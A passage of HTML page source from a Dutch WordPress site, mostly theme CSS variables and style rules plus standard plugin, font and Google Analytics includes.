var(--wp--preset--color--foreground), var(--wp--preset--color--quaternary));--wp--preset--gradient--foreground-to-tertiary: linear-gradient(160deg, var(--wp--preset--color--foreground), var(--wp--preset--color--tertiary));--wp--preset--gradient--background-to-foreground: linear-gradient(160deg, var(--wp--preset--color--background), var(--wp--preset--color--foreground));--wp--preset--gradient--background-to-primary: linear-gradient(160deg, var(--wp--preset--color--background), var(--wp--preset--color--primary));--wp--preset--gradient--background-to-secondary: linear-gradient(160deg, var(--wp--preset--color--background), var(--wp--preset--color--secondary));--wp--preset--gradient--background-to-quaternary: linear-gradient(160deg, var(--wp--preset--color--background), var(--wp--preset--color--quaternary));--wp--preset--gradient--background-to-tertiary: linear-gradient(160deg, var(--wp--preset--color--background), var(--wp--preset--color--tertiary));--wp--preset--gradient--primary-to-background: linear-gradient(160deg, var(--wp--preset--color--primary), var(--wp--preset--color--background));--wp--preset--gradient--primary-to-foreground: linear-gradient(160deg, var(--wp--preset--color--primary), var(--wp--preset--color--foreground));--wp--preset--gradient--primary-to-secondary: linear-gradient(160deg, var(--wp--preset--color--primary), var(--wp--preset--color--secondary));--wp--preset--gradient--primary-to-quaternary: linear-gradient(160deg, var(--wp--preset--color--primary), var(--wp--preset--color--quaternary));--wp--preset--gradient--primary-to-tertiary: linear-gradient(160deg, var(--wp--preset--color--primary), var(--wp--preset--color--tertiary));--wp--preset--gradient--secondary-to-background: linear-gradient(160deg, var(--wp--preset--color--secondary), var(--wp--preset--color--background));--wp--preset--gradient--secondary-to-foreground: linear-gradient(160deg, var(--wp--preset--color--secondary), var(--wp--preset--color--foreground));--wp--preset--gradient--secondary-to-primary: linear-gradient(160deg, var(--wp--preset--color--secondary), var(--wp--preset--color--primary));--wp--preset--gradient--secondary-to-quaternary: linear-gradient(160deg, var(--wp--preset--color--secondary), var(--wp--preset--color--quaternary));--wp--preset--gradient--secondary-to-tertiary: linear-gradient(160deg, var(--wp--preset--color--secondary), var(--wp--preset--color--tertiary));--wp--preset--gradient--tertiary-to-background: linear-gradient(160deg, var(--wp--preset--color--tertiary), var(--wp--preset--color--background));--wp--preset--gradient--tertiary-to-foreground: linear-gradient(160deg, var(--wp--preset--color--tertiary), var(--wp--preset--color--foreground));--wp--preset--gradient--tertiary-to-primary: linear-gradient(160deg, var(--wp--preset--color--tertiary), var(--wp--preset--color--primary));--wp--preset--gradient--tertiary-to-secondary: linear-gradient(160deg, var(--wp--preset--color--tertiary), var(--wp--preset--color--secondary));--wp--preset--gradient--tertiary-to-quaternary: linear-gradient(160deg, var(--wp--preset--color--tertiary), var(--wp--preset--color--quaternary));--wp--preset--gradient--quaternary-to-background: linear-gradient(160deg, var(--wp--preset--color--quaternary), var(--wp--preset--color--background));--wp--preset--gradient--quaternary-to-foreground: linear-gradient(160deg, var(--wp--preset--color--quaternary), var(--wp--preset--color--foreground));--wp--preset--gradient--quaternary-to-primary: linear-gradient(160deg, var(--wp--preset--color--quaternary), var(--wp--preset--color--primary));--wp--preset--gradient--quaternary-to-secondary: linear-gradient(160deg, var(--wp--preset--color--quaternary), var(--wp--preset--color--secondary));--wp--preset--gradient--quaternary-to-tertiary: linear-gradient(160deg, var(--wp--preset--color--quaternary), var(--wp--preset--color--tertiary));--wp--preset--font-size--small: clamp(16px, 1rem + ((1vw - 3.2px) * 0.147), 18px);--wp--preset--font-size--medium: clamp(17px, 1.063rem + ((1vw - 3.2px) * 0.294), 21px);--wp--preset--font-size--large: clamp(21px, 1.313rem + ((1vw - 3.2px) * 0.221), 24px);--wp--preset--font-size--x-large: clamp(25.014px, 1.563rem + ((1vw - 3.2px) * 1.249), 42px);--wp--preset--font-size--tiny: clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.147), 16px);--wp--preset--font-size--extra-large: clamp(24px, 1.5rem + ((1vw - 3.2px) * 0.588), 32px);--wp--preset--font-size--huge: clamp(36px, 2.25rem + ((1vw - 3.2px) * 2.059), 64px);--wp--preset--font-size--gigantic: clamp(64px, 4rem + ((1vw - 3.2px) * 2.353), 96px);--wp--preset--font-size--heading-1: clamp(36px, 2.25rem + ((1vw - 3.2px) * 2.059), 64px);--wp--preset--font-size--heading-2: clamp(33px, 2.063rem + ((1vw - 3.2px) * 1.691), 56px);--wp--preset--font-size--heading-3: clamp(30px, 1.875rem + ((1vw - 3.2px) * 1.324), 48px);--wp--preset--font-size--heading-4: clamp(27px, 1.688rem + ((1vw - 3.2px) * 0.956), 40px);--wp--preset--font-size--heading-5: clamp(24px, 1.5rem + ((1vw - 3.2px) * 0.588), 32px);--wp--preset--font-size--heading-6: clamp(21px, 1.313rem + ((1vw - 3.2px) * 0.441), 27px);--wp--preset--font-family--default: "Albert Sans", ui-sans-serif, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", sans-serif;--wp--preset--font-family--system-sans-serif: ui-sans-serif, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", sans-serif;--wp--preset--font-family--system-serif: ui-serif, Georgia, serif;--wp--preset--font-family--system-monospace: ui-monospace, Menlo, Consolas, Monaco, "Liberation Mono", "Lucida Console", monospace;--wp--preset--spacing--10: 8px;--wp--preset--spacing--20: 12px;--wp--preset--spacing--30: 16px;--wp--preset--spacing--40: 24px;--wp--preset--spacing--50: 32px;--wp--preset--spacing--60: clamp(32px, 7.5vw, 40px);--wp--preset--spacing--70: clamp(48px, 9vw, 64px);--wp--preset--spacing--80: clamp( 64px, 6.666vw, 96px );--wp--preset--spacing--body-gutter: clamp( 32px, 5vw, 64px );--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);--wp--custom--spacing--baseline: 16px;--wp--custom--spacing--small: min(32px, 6.4vw);--wp--custom--spacing--gutter: clamp( calc( 2 * var( --wp--custom--spacing--baseline ) ), 6.666vw, calc( 4 * var( --wp--custom--spacing--baseline ) ) );--wp--custom--spacing--outer: var( --wp--custom--spacing--gutter );--wp--custom--typography--letter-spacing--body: -0.01em;--wp--custom--typography--letter-spacing--heading: -0.02em;--wp--custom--typography--letter-spacing--gigantic: -0.03em;--wp--custom--typography--letter-spacing--uppercase: 0;--wp--custom--typography--line-height--body: 1.5em;--wp--custom--typography--line-height--headings--gigantic: 1.05;--wp--custom--typography--line-height--headings--large: 1.15;--wp--custom--typography--line-height--headings--small: 1.25;}body { margin: 0;--wp--style--global--content-size: 720px;--wp--style--global--wide-size: 1680px; }.wp-site-blocks { padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom); }.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }.has-global-padding :where(.has-global-padding:not(.wp-block-block)) { padding-right: 0; padding-left: 0; }.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }.has-global-padding :where(.has-global-padding:not(.wp-block-block)) > .alignfull { margin-right: 0; margin-left: 0; }.has-global-padding > .alignfull:where(:not(.has-global-padding):not(.is-layout-flex):not(.is-layout-grid)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }.has-global-padding :where(.has-global-padding) > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: 0; padding-left: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: min(32px, 6.4vw); margin-block-end: 0; }:where(.wp-site-blocks) > :first-child:first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child:last-child { margin-block-end: 0; }body { --wp--style--block-gap: min(32px, 6.4vw); }:where(body .is-layout-flow)  > :first-child:first-child{margin-block-start: 0;}:where(body .is-layout-flow)  > :last-child:last-child{margin-block-end: 0;}:where(body .is-layout-flow)  > *{margin-block-start: min(32px, 6.4vw);margin-block-end: 0;}:where(body .is-layout-constrained)  > :first-child:first-child{margin-block-start: 0;}:where(body .is-layout-constrained)  > :last-child:last-child{margin-block-end: 0;}:where(body .is-layout-constrained)  > *{margin-block-start: min(32px, 6.4vw);margin-block-end: 0;}:where(body .is-layout-flex) {gap: min(32px, 6.4vw);}:where(body .is-layout-grid) {gap: min(32px, 6.4vw);}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > *{margin: 0;}body{background-color: var(--wp--preset--color--background);color: var(--wp--preset--color--foreground);font-family: var(--wp--preset--font-family--default);font-size: var(--wp--preset--font-size--medium);font-weight: 500;letter-spacing: var(--wp--custom--typography--letter-spacing--body);line-height: var(--wp--custom--typography--line-height--body);--wp--style--root--padding-top: var(--wp--preset--spacing--body-gutter);--wp--style--root--padding-right: var(--wp--preset--spacing--body-gutter);--wp--style--root--padding-bottom: var(--wp--preset--spacing--body-gutter);--wp--style--root--padding-left: var(--wp--preset--spacing--body-gutter);}a:where(:not(.wp-element-button)){color: inherit;text-decoration: underline;}a:where(:not(.wp-element-button)):hover{text-decoration: none;}h1, h2, h3, h4, h5, h6{font-weight: 600;letter-spacing: var(--wp--custom--typography--letter-spacing--gigantic);margin-top: .75em;margin-bottom: 1em;}h1{font-size: var(--wp--preset--font-size--heading-1);line-height: var(--wp--custom--typography--line-height--headings--large);}h2{font-size: var(--wp--preset--font-size--heading-2);line-height: var(--wp--custom--typography--line-height--headings--large);}h3{font-size: var(--wp--preset--font-size--heading-3);line-height: var(--wp--custom--typography--line-height--headings--large);}h4{font-size: var(--wp--preset--font-size--heading-4);line-height: var(--wp--custom--typography--line-height--headings--large);}h5{font-size: var(--wp--preset--font-size--heading-5);line-height: var(--wp--custom--typography--line-height--headings--small);}h6{font-size: var(--wp--preset--font-size--heading-6);line-height: var(--wp--custom--typography--line-height--headings--small);}.wp-element-button, .wp-block-button__link{background-color: var(--wp--preset--color--primary);border-radius: 999px;border-width: 0;color: var(--wp--preset--color--background);font-family: inherit;font-size: var(--wp--preset--font-size--small);font-weight: 600;line-height: var(--wp--custom--typography--line-height--headings--large);padding: calc(0.667em + 2px) calc(1.333em + 2px);text-decoration: none;}.wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption{color: var(--wp--preset--color--secondary);font-size: var(--wp--preset--font-size--small);margin-top: .75em;margin-bottom: 0;}cite{font-size: var(--wp--preset--font-size--medium);font-style: normal;text-transform: none;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-foreground-color{color: var(--wp--preset--color--foreground) !important;}.has-background-color{color: var(--wp--preset--color--background) !important;}.has-primary-color{color: var(--wp--preset--color--primary) !important;}.has-secondary-color{color: var(--wp--preset--color--secondary) !important;}.has-tertiary-color{color: var(--wp--preset--color--tertiary) !important;}.has-quaternary-color{color: var(--wp--preset--color--quaternary) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-foreground-background-color{background-color: var(--wp--preset--color--foreground) !important;}.has-background-background-color{background-color: var(--wp--preset--color--background) !important;}.has-primary-background-color{background-color: var(--wp--preset--color--primary) !important;}.has-secondary-background-color{background-color: var(--wp--preset--color--secondary) !important;}.has-tertiary-background-color{background-color: var(--wp--preset--color--tertiary) !important;}.has-quaternary-background-color{background-color: var(--wp--preset--color--quaternary) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-foreground-border-color{border-color: var(--wp--preset--color--foreground) !important;}.has-background-border-color{border-color: var(--wp--preset--color--background) !important;}.has-primary-border-color{border-color: var(--wp--preset--color--primary) !important;}.has-secondary-border-color{border-color: var(--wp--preset--color--secondary) !important;}.has-tertiary-border-color{border-color: var(--wp--preset--color--tertiary) !important;}.has-quaternary-border-color{border-color: var(--wp--preset--color--quaternary) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-foreground-to-background-gradient-background{background: var(--wp--preset--gradient--foreground-to-background) !important;}.has-foreground-to-primary-gradient-background{background: var(--wp--preset--gradient--foreground-to-primary) !important;}.has-foreground-to-secondary-gradient-background{background: var(--wp--preset--gradient--foreground-to-secondary) !important;}.has-foreground-to-quaternary-gradient-background{background: var(--wp--preset--gradient--foreground-to-quaternary) !important;}.has-foreground-to-tertiary-gradient-background{background: var(--wp--preset--gradient--foreground-to-tertiary) !important;}.has-background-to-foreground-gradient-background{background: var(--wp--preset--gradient--background-to-foreground) !important;}.has-background-to-primary-gradient-background{background: var(--wp--preset--gradient--background-to-primary) !important;}.has-background-to-secondary-gradient-background{background: var(--wp--preset--gradient--background-to-secondary) !important;}.has-background-to-quaternary-gradient-background{background: var(--wp--preset--gradient--background-to-quaternary) !important;}.has-background-to-tertiary-gradient-background{background: var(--wp--preset--gradient--background-to-tertiary) !important;}.has-primary-to-background-gradient-background{background: var(--wp--preset--gradient--primary-to-background) !important;}.has-primary-to-foreground-gradient-background{background: var(--wp--preset--gradient--primary-to-foreground) !important;}.has-primary-to-secondary-gradient-background{background: var(--wp--preset--gradient--primary-to-secondary) !important;}.has-primary-to-quaternary-gradient-background{background: var(--wp--preset--gradient--primary-to-quaternary) !important;}.has-primary-to-tertiary-gradient-background{background: var(--wp--preset--gradient--primary-to-tertiary) !important;}.has-secondary-to-background-gradient-background{background: var(--wp--preset--gradient--secondary-to-background) !important;}.has-secondary-to-foreground-gradient-background{background: var(--wp--preset--gradient--secondary-to-foreground) !important;}.has-secondary-to-primary-gradient-background{background: var(--wp--preset--gradient--secondary-to-primary) !important;}.has-secondary-to-quaternary-gradient-background{background: var(--wp--preset--gradient--secondary-to-quaternary) !important;}.has-secondary-to-tertiary-gradient-background{background: var(--wp--preset--gradient--secondary-to-tertiary) !important;}.has-tertiary-to-background-gradient-background{background: var(--wp--preset--gradient--tertiary-to-background) !important;}.has-tertiary-to-foreground-gradient-background{background: var(--wp--preset--gradient--tertiary-to-foreground) !important;}.has-tertiary-to-primary-gradient-background{background: var(--wp--preset--gradient--tertiary-to-primary) !important;}.has-tertiary-to-secondary-gradient-background{background: var(--wp--preset--gradient--tertiary-to-secondary) !important;}.has-tertiary-to-quaternary-gradient-background{background: var(--wp--preset--gradient--tertiary-to-quaternary) !important;}.has-quaternary-to-background-gradient-background{background: var(--wp--preset--gradient--quaternary-to-background) !important;}.has-quaternary-to-foreground-gradient-background{background: var(--wp--preset--gradient--quaternary-to-foreground) !important;}.has-quaternary-to-primary-gradient-background{background: var(--wp--preset--gradient--quaternary-to-primary) !important;}.has-quaternary-to-secondary-gradient-background{background: var(--wp--preset--gradient--quaternary-to-secondary) !important;}.has-quaternary-to-tertiary-gradient-background{background: var(--wp--preset--gradient--quaternary-to-tertiary) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-tiny-font-size{font-size: var(--wp--preset--font-size--tiny) !important;}.has-extra-large-font-size{font-size: var(--wp--preset--font-size--extra-large) !important;}.has-huge-font-size{font-size: var(--wp--preset--font-size--huge) !important;}.has-gigantic-font-size{font-size: var(--wp--preset--font-size--gigantic) !important;}.has-heading-1-font-size{font-size: var(--wp--preset--font-size--heading-1) !important;}.has-heading-2-font-size{font-size: var(--wp--preset--font-size--heading-2) !important;}.has-heading-3-font-size{font-size: var(--wp--preset--font-size--heading-3) !important;}.has-heading-4-font-size{font-size: var(--wp--preset--font-size--heading-4) !important;}.has-heading-5-font-size{font-size: var(--wp--preset--font-size--heading-5) !important;}.has-heading-6-font-size{font-size: var(--wp--preset--font-size--heading-6) !important;}.has-default-font-family{font-family: var(--wp--preset--font-family--default) !important;}.has-system-sans-serif-font-family{font-family: var(--wp--preset--font-family--system-sans-serif) !important;}.has-system-serif-font-family{font-family: var(--wp--preset--font-family--system-serif) !important;}.has-system-monospace-font-family{font-family: var(--wp--preset--font-family--system-monospace) !important;}
.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;text-decoration: none;}
.wp-block-navigation a:where(:not(.wp-element-button)):hover{text-decoration: underline;}
.wp-block-buttons-is-layout-flow > :first-child:first-child{margin-block-start: 0;}.wp-block-buttons-is-layout-flow > :last-child:last-child{margin-block-end: 0;}.wp-block-buttons-is-layout-flow > *{margin-block-start: 1em;margin-block-end: 0;}.wp-block-buttons-is-layout-constrained > :first-child:first-child{margin-block-start: 0;}.wp-block-buttons-is-layout-constrained > :last-child:last-child{margin-block-end: 0;}.wp-block-buttons-is-layout-constrained > *{margin-block-start: 1em;margin-block-end: 0;}.wp-block-buttons-is-layout-flex{gap: 1em;}.wp-block-buttons-is-layout-grid{gap: 1em;}
.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder{border-radius: 8px;}
p{line-height: var(--wp--custom--typography--line-height--body);}
.wp-block-post-title a:where(:not(.wp-element-button)){text-decoration: none;}
.wp-block-post-title a:where(:not(.wp-element-button)):hover{text-decoration: underline;}
.wp-block-site-title{font-family: inherit;font-style: inherit;font-weight: 600;margin-top: 0px;margin-bottom: 0px;text-transform: inherit;}
.wp-block-site-title a:where(:not(.wp-element-button)){text-decoration: none;}
.wp-block-site-title a:where(:not(.wp-element-button)):hover{text-decoration: underline;}
.wp-block-social-links-is-layout-flow > :first-child:first-child{margin-block-start: 0;}.wp-block-social-links-is-layout-flow > :last-child:last-child{margin-block-end: 0;}.wp-block-social-links-is-layout-flow > *{margin-block-start: .66em;margin-block-end: 0;}.wp-block-social-links-is-layout-constrained > :first-child:first-child{margin-block-start: 0;}.wp-block-social-links-is-layout-constrained > :last-child:last-child{margin-block-end: 0;}.wp-block-social-links-is-layout-constrained > *{margin-block-start: .66em;margin-block-end: 0;}.wp-block-social-links-is-layout-flex{gap: .66em;}.wp-block-social-links-is-layout-grid{gap: .66em;}
</style>
<style id='core-block-supports-inline-css'>
.wp-container-core-navigation-is-layout-1.wp-container-core-navigation-is-layout-1{flex-direction:column;align-items:flex-start;}.wp-container-core-group-is-layout-1.wp-container-core-group-is-layout-1{flex-wrap:nowrap;gap:2em;justify-content:space-between;}.wp-container-core-navigation-is-layout-2.wp-container-core-navigation-is-layout-2{gap:0.25em;flex-direction:column;align-items:flex-start;}.wp-container-core-social-links-is-layout-1.wp-container-core-social-links-is-layout-1{gap:1em 1em;justify-content:flex-start;}.wp-container-core-group-is-layout-3.wp-container-core-group-is-layout-3{gap:2em;flex-direction:column;align-items:flex-start;}.wp-container-core-buttons-is-layout-1.wp-container-core-buttons-is-layout-1{justify-content:center;}.wp-container-core-buttons-is-layout-2.wp-container-core-buttons-is-layout-2{justify-content:center;}.wp-container-core-buttons-is-layout-3.wp-container-core-buttons-is-layout-3{justify-content:center;}.wp-container-core-columns-is-layout-1.wp-container-core-columns-is-layout-1{flex-wrap:nowrap;}.wp-container-core-buttons-is-layout-4.wp-container-core-buttons-is-layout-4{justify-content:center;}.wp-container-core-buttons-is-layout-5.wp-container-core-buttons-is-layout-5{justify-content:center;}.wp-container-core-columns-is-layout-2.wp-container-core-columns-is-layout-2{flex-wrap:nowrap;}.wp-container-core-buttons-is-layout-6.wp-container-core-buttons-is-layout-6{justify-content:center;}.wp-container-core-buttons-is-layout-7.wp-container-core-buttons-is-layout-7{justify-content:center;}.wp-container-core-buttons-is-layout-8.wp-container-core-buttons-is-layout-8{justify-content:center;}.wp-container-core-buttons-is-layout-9.wp-container-core-buttons-is-layout-9{justify-content:center;}.wp-container-core-buttons-is-layout-10.wp-container-core-buttons-is-layout-10{justify-content:center;align-items:center;}.wp-container-core-group-is-layout-6.wp-container-core-group-is-layout-6{gap:0.5em;justify-content:flex-start;}.wp-container-core-group-is-layout-7.wp-container-core-group-is-layout-7{gap:1.5em;}.wp-container-core-group-is-layout-8.wp-container-core-group-is-layout-8{gap:1em;justify-content:space-between;}.wp-container-core-column-is-layout-8.wp-container-core-column-is-layout-8 > *{margin-block-start:0;margin-block-end:0;}.wp-container-core-column-is-layout-8.wp-container-core-column-is-layout-8.wp-container-core-column-is-layout-8.wp-container-core-column-is-layout-8 > * + *{margin-block-start:var(--wp--preset--spacing--70);margin-block-end:0;}.wp-container-core-columns-is-layout-3.wp-container-core-columns-is-layout-3{flex-wrap:nowrap;}.wp-duotone-unset-2.wp-block-image img, .wp-duotone-unset-2.wp-block-image .components-placeholder{filter:unset;}
</style>
<style id='wp-block-template-skip-link-inline-css'>

		.skip-link.screen-reader-text {
			border: 0;
			clip: rect(1px,1px,1px,1px);
			clip-path: inset(50%);
			height: 1px;
			margin: -1px;
			overflow: hidden;
			padding: 0;
			position: absolute !important;
			width: 1px;
			word-wrap: normal !important;
		}

		.skip-link.screen-reader-text:focus {
			background-color: #eee;
			clip: auto !important;
			clip-path: none;
			color: #444;
			display: block;
			font-size: 1em;
			height: auto;
			left: 5px;
			line-height: normal;
			padding: 15px 23px 14px;
			text-decoration: none;
			top: 5px;
			width: auto;
			z-index: 100000;
		}
</style>
<link rel='stylesheet' id='wpcdt-public-css-css' href='https://adhdmtb.nl/wp-content/plugins/countdown-timer-ultimate/assets/css/wpcdt-public.css?ver=2.6.9' media='all' />
<link rel='stylesheet' id='bjork-styles-css' href='https://adhdmtb.nl/wp-content/themes/bjork/style.css?ver=0.2.4' media='all' />
<link rel='stylesheet' id='newsletter-css' href='https://adhdmtb.nl/wp-content/plugins/newsletter/style.css?ver=9.2.1' media='all' />
<script src="https://adhdmtb.nl/wp-content/plugins/strato-assistant/js/cookies.js?ver=1644321502" id="strato-assistant-wp-cookies-js"></script>

<!-- Google tag (gtag.js) snippet toegevoegd door Site Kit -->
<!-- Google Analytics snippet toegevoegd door Site Kit -->
<script src="https://www.googletagmanager.com/gtag/js?id=GT-WP5JRD9" id="google_gtagjs-js" async></script>
<script id="google_gtagjs-js-after">
window.dataLayer = window.dataLayer || [];function gtag(){dataLayer.push(arguments);}
gtag("set","linker",{"domains":["adhdmtb.nl"]});
gtag("js", new Date());
gtag("set", "developer_id.dZTNiMT", true);
gtag("config", "GT-WP5JRD9");
</script>
<link rel="https://api.w.org/" href="https://adhdmtb.nl/wp-json/" /><link rel="alternate" type="application/json" href="https://adhdmtb.nl/wp-json/wp/v2/pages/91" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://adhdmtb.nl/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.5.5" />
<link rel="canonical" href="https://adhdmtb.nl/haagse-helden/" />
<link rel='shortlink' href='https://adhdmtb.nl/?p=91' />
<link rel="alternate" type="application/json+oembed" href="https://adhdmtb.nl/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fadhdmtb.nl%2Fhaagse-helden%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://adhdmtb.nl/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fadhdmtb.nl%2Fhaagse-helden%2F&#038;format=xml" />
<meta name="generator" content="Site Kit by Google 1.176.0" /><!-- Pk Favicon Manager by pkplugins.com --><link rel="shortcut icon" href="https://adhdmtb.nl/wp-content/plugins/phpsword-favicon-manager/favicons/adhdmbt1zw (20240105100355).png" /><script id="wp-load-polyfill-importmap">
( HTMLScriptElement.supports && HTMLScriptElement.supports("importmap") ) || document.write( '<script src="https://adhdmtb.nl/wp-includes/js/dist/vendor/wp-polyfill-importmap.min.js?ver=1.8.2"></scr' + 'ipt>' );
</script>
<script type="importmap" id="wp-importmap">
{"imports":{"@wordpress\/interactivity":"https:\/\/adhdmtb.nl\/wp-includes\/js\/dist\/interactivity.min.js?ver=6.5.5"}}
</script>
<script type="module" src="https://adhdmtb.nl/wp-includes/blocks/navigation/view.min.js?ver=6.5.5" id="@wordpress/block-library/navigation-js-module"></script>
<link rel="modulepreload" href="https://adhdmtb.nl/wp-includes/js/dist/interactivity.min.js?ver=6.5.5" id="@wordpress/interactivity-js-modulepreload"><style id='wp-fonts-local'>
@font-face{font-family:"Albert Sans";font-style:normal;font-weight:100 900;font-display:fallback;src:url('https://adhdmtb.nl/wp-content/themes/bjork/assets/fonts/AlbertSans-VariableFont_wght.woff2') format('woff2');font-stretch:normal;}
